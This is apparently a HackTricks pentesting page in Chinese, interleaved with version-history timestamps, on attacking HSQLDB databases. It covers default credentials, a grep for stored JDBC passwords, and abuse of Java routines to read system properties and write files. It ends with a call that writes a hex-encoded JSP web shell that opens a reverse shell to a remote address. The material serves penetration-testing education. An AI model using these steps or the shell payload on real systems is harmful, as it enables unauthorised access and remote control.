2022-04-28 16:01:33 +00:00
|
|
|
|
<details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**telegram群组**](https://t.me/peass) 或者 **关注**我在**Twitter**上的 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
# 基本信息
|
2020-12-02 23:18:31 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
HSQLDB([HyperSQL DataBase](http://hsqldb.org/))是一种用Java编写的领先的SQL关系数据库系统。它提供了一个小型、快速的多线程和事务性数据库引擎,支持内存和基于磁盘的表,并支持嵌入式和服务器模式。
|
2020-12-02 23:18:31 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**默认端口:** 9001
|
2020-12-02 23:18:31 +00:00
|
|
|
|
```text
|
|
|
|
|
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
# 信息
|
2020-12-02 23:18:31 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 默认设置
|
2020-12-02 23:18:31 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
请注意,默认情况下,此服务可能在内存中运行或绑定到本地主机。如果您找到了它,那么您可能已经利用了另一个服务,并且正在寻找提升权限的方法。
|
2020-12-02 23:18:31 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
默认凭据通常为`sa`,密码为空。
|
2020-12-02 23:18:31 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
如果您已经利用了另一个服务,请搜索可能的凭据使用
|
2020-12-02 23:18:31 +00:00
|
|
|
|
```text
|
|
|
|
|
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
请仔细注意数据库名称 - 您需要它来进行连接。
|
2020-12-02 23:18:31 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
# 信息收集
|
2020-12-02 23:18:31 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
通过[下载 HSQLDB](https://sourceforge.net/projects/hsqldb/files/)并提取 `hsqldb/lib/hsqldb.jar` 来连接到数据库实例。使用 `java -jar hsqldb.jar` 运行 GUI 应用程序(呃呃呃),并使用发现的/弱密码连接到实例。
|
2020-12-02 23:18:31 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
请注意,对于远程系统,连接 URL 将类似于 `jdbc:hsqldb:hsql://ip/DBNAME`。
|
2020-12-02 23:18:31 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
# 技巧
|
2020-12-02 23:18:31 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## Java 语言例程
|
2020-12-02 23:18:31 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
我们可以使用 Java 语言例程从 HSQLDB 调用 Java 类的静态方法。请注意,被调用的类需要在应用程序的类路径中。
|
2020-12-02 23:18:31 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
JRTs 可以是 `函数` 或 `过程`。如果 Java 方法返回一个或多个与 SQL 兼容的原始变量,则可以通过 SQL 语句调用函数。它们使用 `VALUES` 语句调用。
|
2020-12-02 23:18:31 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
如果我们要调用的 Java 方法返回 void,则需要使用使用 `CALL` 语句调用的过程。
|
2020-12-02 23:18:31 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 读取 Java 系统属性
|
2020-12-02 23:18:31 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
创建函数:
|
2020-12-02 23:18:31 +00:00
|
|
|
|
```text
|
|
|
|
|
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
|
|
|
|
|
DETERMINISTIC NO SQL
|
|
|
|
|
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
执行函数:
|
2020-12-02 23:18:31 +00:00
|
|
|
|
```text
|
|
|
|
|
VALUES(getsystemproperty('user.name'))
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
您可以在[此处找到系统属性列表](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html)。
|
2020-12-02 23:18:31 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 将内容写入文件
|
2020-12-02 23:18:31 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
您可以使用位于JDK中(自动加载到应用程序的类路径中)的`com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java小工具,通过自定义过程将十六进制编码的项目写入磁盘。**请注意最大大小为1024字节**。
|
2020-12-02 23:18:31 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
创建过程:
|
2020-12-02 23:18:31 +00:00
|
|
|
|
```text
|
|
|
|
|
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
|
|
|
|
|
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
|
|
|
|
|
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
执行过程:
|
2020-12-02 23:18:31 +00:00
|
|
|
|
```text
|
|
|
|
|
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
|
|
|
|
|
```
|
2022-04-28 16:01:33 +00:00
|
|
|
|
<details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|